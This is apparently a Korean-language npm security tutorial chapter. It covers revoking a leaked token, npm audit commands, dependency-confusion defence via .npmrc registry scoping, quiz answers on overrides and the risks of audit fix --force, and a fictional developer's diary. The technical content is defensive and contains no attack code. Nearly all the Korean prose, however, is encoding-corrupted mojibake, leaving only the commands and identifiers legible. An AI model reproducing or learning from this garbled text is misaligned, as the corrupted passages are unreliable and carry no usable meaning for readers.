# โ ํ ํ ํฐ์ผ๋ก ๋ชจ๋ ๊ถํ ๋ถ์ฌ (์ต์ ๊ถํ ์์น ์๋ฐ)ํ ํฐ ํ์ทจ ์ ์ฆ์ ๋์
# 1. ์ฆ์ ํ ํฐ ๋ง๋ฃ
npm token revoke npm_xxxxxxxxxxxx
# 2. ๋ชจ๋ ํ์ฑ ํ ํฐ ๋ชฉ๋ก ํ์ธ
npm token list
# 3. ํด๋น ํ ํฐ์ผ๋ก ๋ฐฐํฌ๋ ํจํค์ง ๋ฒ์ ์ฆ์ unpublish (72h ์ด๋ด๋ง ๊ฐ๋ฅ)
npm unpublish my-package@1.2.3
# 4. ์ ํ ํฐ ๋ฐ๊ธ ํ CI/CD ์ํฌ๋ฆฟ ๊ต์ฒด๐ ์ด์ ๋ฆฌ
npm ๋ณด์ 5๋ ์์น (์ํธ ๋ฆฌ๋ ๋ฒ์ )
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
1. [์๊ณ ์ฐ๊ธฐ] npm audit โ JSON ํ์ฑ โ ์ฌ๊ฐ๋ ๋ถ๋ฅ โ ์๋ ์์ ๋ฃจํด
2. [CI ์ ์ฌ์ด๋๊ธฐ] --audit-level=high ๋ก high/critical ์๋ ์ฐจ๋จ
3. [๊ณต๊ธ๋ง ๊ฒฝ๊ณ] Typosquatting ์ฒดํฌ, private ์ค์ฝํ registry ๊ณ ์
4. [์ต์ ๊ถํ] Granular Token, .npmrc ๋ ํ๋๋ ํ ๋ฆฌ, CI๋ ํ๊ฒฝ๋ณ์
5. [์ ๊ธฐ ์ ๊ฒ] Dependabot + ์ค์ผ์ค audit ์ผ๋ก ์ CVE ์๋ ๊ฐ์ง
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
| ์ํฉ | ๋ช ๋ น์ด | ์ฃผ์ |
|---|---|---|
| ํํฉ ํ์ | npm audit | JSON ์ถ๋ ฅ์ --json |
| SemVer ์์ ์์ | npm audit fix | breaking change ์์ |
| Major ๊ฐ์ ์์ | npm audit fix --force | โ ๏ธ breaking change ๊ฐ๋ฅ |
| CI ์ฐจ๋จ ๊ธฐ์ค ์ค์ | npm audit --audit-level=high | PR merge ์ฐจ๋จ |
| ๋ฌด๊ฒฐ์ฑ ์๋ช ๊ฒ์ฆ | npm audit signatures | npm v8.13+ |
| ๊ฐ์ ์์กด์ฑ ๊ณ ์ | "overrides" in package.json | ์ ๋ฐ ์ ์ด ๊ฐ๋ฅ |
| ์ค์น ์คํฌ๋ฆฝํธ ์ฐจ๋จ | npm ci --ignore-scripts | CI ํ๊ฒฝ์์ ์ถ์ฒ |
๐ ๋ง๋ฌด๋ฆฌ ํด์ฆ
Q1. npm audit ์์ ์ทจ์ฝ์ ์ isDirect: true ์ isDirect: false ๋ ๊ฐ๊ฐ ๋ฌด์์ ์๋ฏธํ๋ฉฐ, ๋์ ๋ฐฉ๋ฒ์ ์ด๋ค ์ฐจ์ด๊ฐ ์๋๊ฐ?
โ
์ ๋ต: isDirect: true ๋ package.json ์ ์ง์ ๋ช
์๋ ์์กด์ฑ์ ์ทจ์ฝ์ ์ผ๋ก npm install ํจํค์ง@์์ ๋ฒ์ ์ผ๋ก ์ง์ ๋ฒ์ ์ ์ฌ๋ฆด ์ ์๋ค. isDirect: false ๋ ๊ฐ์ ์์กด์ฑ(transitive dependency)์ ์ทจ์ฝ์ ์ผ๋ก ์ง์ package.json ์ ์์ ํ ์ ์์ผ๋ฉฐ, "overrides" ํ๋ ๋ก ํด๋น ํจํค์ง ๋ฒ์ ์ ๊ฐ์ ๊ณ ์ ํ๊ฑฐ๋ ์์ ์ง์ ์์กด์ฑ์ ๋ฒ์ ์ ์ฌ๋ ค ํด๊ฒฐํด์ผ ํ๋ค.
๐ก ์์ธ ํด์ค:
- ์ง์ ์์กด์ฑ ๋์:
npm install axios@1.6.7โpackage.json์axios๋ฒ์ ๋ฒ์ ๊ฐฑ์ โ lock ํ์ผ ์๋ ์ ๋ฐ์ดํธ - ๊ฐ์ ์์กด์ฑ ๋์:
package.json์"overrides": { "semver": "^7.5.4" }๋ก ์ด๋ ๊น์ด์ ์๋ ํด๋น ํจํค์ง ๋ฒ์ ์ ๊ฐ์ ๊ณ ์ - ๐ ํต์ฌ ๊ธฐ์ต๋ฒ:
isDirect: trueโ ๋ด๊ฐ ์ง์ ๊ณ ์น ์ ์๋ค.isDirect: falseโoverrides๋ก ๊ฐ์ ํ๋ค.
Q2. Dependency Confusion ๊ณต๊ฒฉ์ด๋ ๋ฌด์์ด๋ฉฐ, npm ์ค์ ์ผ๋ก ์ด๋ป๊ฒ ๋ฐฉ์ดํ ์ ์๋๊ฐ?
โ
์ ๋ต: ํด์ปค๊ฐ ๋ด๋ถ private ํจํค์ง์ ๋์ผํ ์ด๋ฆ ์ ํจํค์ง๋ฅผ public npm ๋ ์ง์คํธ๋ฆฌ์ ๋ ๋์ ๋ฒ์ ์ผ๋ก ๋ฑ๋กํ๋ฉด, npm ์ด public ์
์ฑ ํจํค์ง๋ฅผ ์ ํธํ์ฌ ์ค์นํ๋ ๊ณต๊ฒฉ์ด๋ค. ๋ฐฉ์ด๋ฒ์ .npmrc ์์ private ์ค์ฝํ๋ฅผ ์ฌ๋ด registry ์ ๋ช
์์ ์ผ๋ก ๊ณ ์ ํ๋ ๊ฒ์ด๋ค: @mycompany:registry=https://์ฌ๋ดregistry์ฃผ์/
๐ก ์์ธ ํด์ค:
- npm ์ ๊ฐ์ ์ด๋ฆ์ ํจํค์ง๊ฐ ์ฌ๋ฌ ๋ ์ง์คํธ๋ฆฌ์ ์์ ๋ ๋ฒ์ ์ด ๋ ๋์ ์ชฝ์ ์ ํํ๋ค
- ํด์ปค๋ ์ด ๋์์ ์
์ฉํ์ฌ
9999.0.0์ฒ๋ผ ์์๋ก ๋์ ๋ฒ์ ์ ๋ถ์ธ ์ ์ฑ ํจํค์ง๋ฅผ public npm ์ ๋ฑ๋กํ๋ค .npmrc์@mycompany:registry=...๋ฅผ ๋ช ์ํ๋ฉด ํด๋น ์ค์ฝํ๋ ์ง์ ๋ ๋ ์ง์คํธ๋ฆฌ ์ธ๋ถ๋ฅผ ์ฐธ์กฐํ์ง ์๋๋ค- ๐ ํต์ฌ ๊ธฐ์ต๋ฒ: "์ค์ฝํ๋ฅผ private registry ์ ์ฃผ์๋ก ๋ฑ๋กํ๋ฏ ๊ณ ์ ํ๋ฉด ์ธ๋ถ ์ ํ(public npm) ๋ ์ ๋ฐ๋๋ค."
Q3. ์์ฒ ์ด์ ํ ์คํธ ํ์: ๊ธด๊ธ ๋๋ฒ๊น (์์์ ํธํต)
์์ ๋์ด ์คํ 6์์ Slack์ผ๋ก ๋ฉ์์ง๋ฅผ ๋ณด๋๋ค.
"์์ฒ ๋, CI ๋ก๊ทธ ๋ณด์ จ์ด์?
npm audit์์ critical 2๊ฐ๊ฐ ๋ด๋๋ฐ ๋ฐฐํฌ ์ฐจ๋จ๋์ด์. ์ค๋ ์์ ์ฒ๋ฆฌํด์ผ ํด์."์์ฒ ์ด๋ ๋นํฉํด์ ์ฆ์ ์ด๋ ๊ฒ ์คํํ๋ค:
npm audit fix --force git add . git commit -m "fix: critical ์ทจ์ฝ์ ์์ " git push origin main๊ทธ๋ฐ๋ฐ ๋ฐฐํฌ ํ Next.js ์ฑ์ด ์์๋์ง ์๋๋ค. ์ํธ ๋ฆฌ๋๊ฐ ๋ก๊ทธ๋ฅผ ๋ณด๋
next@15๋ก ๊ฐ์๊ธฐ Major ์ ๊ทธ๋ ์ด๋๊ฐ ๋๊ณ ,app/๋๋ ํ ๋ฆฌ ๊ตฌ์กฐ๊ฐ ์ธ์๋์ง ์๋ ์ค๋ฅ๋ค.์์ฒ ์ด๊ฐ ์๋ชปํ ์ ๊ณผ, ์ฌ๋ฐ๋ฅธ ๋์ ์์๋ ๋ฌด์์ธ๊ฐ?
โ
์ ๋ต: npm audit fix --force ๋ฅผ ๋งน๋ชฉ์ ์ผ๋ก ์ฌ์ฉํ ๊ฒ ์ด ์๋ชป์ด๋ค. --force ๋ SemVer breaking change ๋ฅผ ํฌํจํ Major ์
๊ทธ๋ ์ด๋๋ฅผ ๊ฐํํ๋ฏ๋ก ๋ฐ๋์ isSemVerMajor ์ฌ๋ถ๋ฅผ ํ์ธ ํ ์๋์ผ๋ก ์ฒ๋ฆฌ ํด์ผ ํ๋ค. ์ฌ๋ฐ๋ฅธ ์์: npm audit --json ์ผ๋ก ์ทจ์ฝ์ ํ์
โ isDirect ์ธ ๊ฒ๋ง ์๋ ๋ฒ์ ์
โ ๊ฐ์ ์์กด์ฑ์ overrides โ npm audit fix (force ์์ด) โ ํ
์คํธ/๋น๋ ํ์ธ โ ์ปค๋ฐ.
๐ก ์์ธ ํด์ค:
--force์ ์ ์ฒด: SemVer Major ๋ฒ์ ์ ํฌํจํ ๋ชจ๋ ์ ๊ทธ๋ ์ด๋๋ฅผ ํ์ฉํ๋ค.next@14โnext@15์ฒ๋ผ ์์ ํ ๋ค๋ฅธ API ์ฒด๊ณ๋ก ๋ฐ๊ฟ๋ฒ๋ฆด ์ ์๋ค.fixAvailable.isSemVerMajor: true์ธ ํจํค์ง๋--force๋ก ์๋ ์์ ํ์ง ๋ง๊ณ , ๋ง์ด๊ทธ๋ ์ด์ ๊ฐ์ด๋๋ฅผ ์ฝ๊ณ ์๋์ผ๋ก ์ ๊ทธ๋ ์ด๋ํด์ผ ํ๋ค.- ์ค๋ต ํผ๋๋ฐฑ: "์์ฒ ๋,
--force๋ '๋ง๋ฅ ํด๊ฒฐ์ฌ'๊ฐ ์๋๋ผ 'ํญํ ์ ๊ฑฐ๋ฅผ ๋ ๊ฐ๊ณ ํ๋ ๊ฒ'์ด์์. ์ทจ์ฝ์ ๋ก๊ทธ๋ณด๋ค ๋ ํฐ ์ฅ์ ๋ฅผ ๋ง๋ค ์ ์์ด์." - ๐ ํต์ฌ ๊ธฐ์ต๋ฒ:
audit fix๋ ์์ ๋ฒ์ ๋ด ์์ ,audit fix --force๋ ๋ง์ทจ ์๋ ์ฅ๊ธฐ ๊ต์ฒด โ ๋ฐ๋์ ๋ง์ด๊ทธ๋ ์ด์ ํ๋์ ๋จผ์ .
๐ฃ ์์ฒ ์ด์ ํด๊ทผ ์ผ๊ธฐ
์ค๋ ์ง์ง ์ฌ์ฅ ์ซ๊นํ ํ๋ฃจ์๋ค.
์คํ 6์์ ์์ ๋ ๋ฉ์์ง ๋ฐ๊ณ ์ฒ์์ ์์งํ '์์ด ๊ทธ๋ฅ npm audit fix --force ํ ๋ฒ ๋๋ฆฌ๋ฉด ๋๊ฒ ์ง' ๋ผ๊ณ ์๊ฐํ๋๋ฐ... ์ํธ ๋ฆฌ๋ ๋์ด ๋ฑ ๋ง์ผ์
จ๋ค. ๊ทธ๋ฆฌ๊ณ ์ฐจ๊ทผ์ฐจ๊ทผ JSON ํ์ฑํ๊ณ , isDirect ์ฐพ๊ณ , overrides ์ ๊ฝ์ ๋ฃ๊ณ , ๋ง์ง๋ง์ audit fix (force ์์ด)๋ก ๋ง๋ฌด๋ฆฌํ๋ ๋ฃจํด์ ๋ณด์ฌ์ฃผ์
จ๋ค.
์์งํ ์ฒ์์ "์ด๋ ๊ฒ๊น์ง ํด์ผ ํด์?" ์ถ์๋๋ฐ, ๋ง์ฝ ๋ด๊ฐ ํผ์์ --force ๋๋ ์ผ๋ฉด next@15 ๋ก ๋ ์๊ฐ์ ๋ค์ ๋กค๋ฐฑํ๋๋ผ ๋ฐค์์ ์ ๊ฑฐ๋ผ๊ณ ์๊ฐํ๋ ์์๋์ด ๋ฌ๋ค.
๐ก ์ค๋์ ๊ตํ: "
npm audit fix --force๋ ๋ง๋ฅ ์น๋ฃ์ ๊ฐ ์๋๋ผ ๋ง์ทจ ์๋ ์์ ์ด๋ค. ์ทจ์ฝ์ ๋ก๊ทธ๋ฅผ ๋จผ์ ์ฝ๊ณ , ์๋์ผ๋ก, ๋จ๊ณ๋ณ๋ก."
๊ทธ๋ฆฌ๊ณ Dependency Confusion ์ด์ผ๊ธฐ ๋ค์์ ๋ ์ง์ง ์ฌ๋ฉํ๋ค. ๋ด๋ถ ํจํค์ง ์ด๋ฆ์ public npm ์ ์ฌ๋ ค์ CI ์๋ฒ๋ฅผ ๋๋๋ค๊ณ ? ์ด๊ฒ ์ค์ ๋ก ์ผ์ด๋ ๊ณต๊ฒฉ์ด๋ผ๋. .npmrc ์ @youngsu:registry=์ฌ๋ด์ฃผ์ ์ด ํ ์ค์ด ์ง์ง ๋ฐฉ์ด์ ์ด์๊ตฌ๋.
์ค๋ ๋ฐฐ์ด ๊ฒ๋ค โ audit ๊ฒฐ๊ณผ JSON ์ฝ๋ ๋ฒ, isDirect vs overrides, CI ํ์ดํ๋ผ์ธ --audit-level, Dependabot ์ค์ , .npmrc ์ค์ฝํ ๊ณ ์ , npm ํ ํฐ granular ์ค์ โ ๋ค ํฉ์น๋๊น ์ง์ง '๋ณด์์ ์๋ ๊ฐ๋ฐ์'๊ฐ ๋๋ ๋๋์ด๋ค.
npm ์ปค๋ฆฌํ๋ผ ๋ง์ง๋ง ์ฑํฐ๊น์ง ์๋ค. ๋ฉํ ๋ชจ๋ธ๋ถํฐ package.json, SemVer, ์์กด์ฑ ๋ถ๋ฅ, lock ํ์ผ, ์คํฌ๋ฆฝํธ ํ , Next.js ์ค์ , ๊ทธ๋ฆฌ๊ณ ์ค๋ ๋ณด์๊น์ง. 8๊ฐ ์ฑํฐ๋ฅผ ๋ฌ๋ ธ๋๋ฐ ๋ฒ์จ ๋์ด๋ผ๋ ์์ฝ๊ธฐ๋ ํ๊ณ ๋ฟ๋ฏํ๊ธฐ๋ ํ๋ค.
์ค๋ ์ ๋ ์ ์นํจ์ด๋ค. ๋ณด์ ์ฑํฐ ๋ง์ณค์ผ๋๊น ์ด ์ ๋ ๋ณด์์ ๋ฐ์์ผ์ง.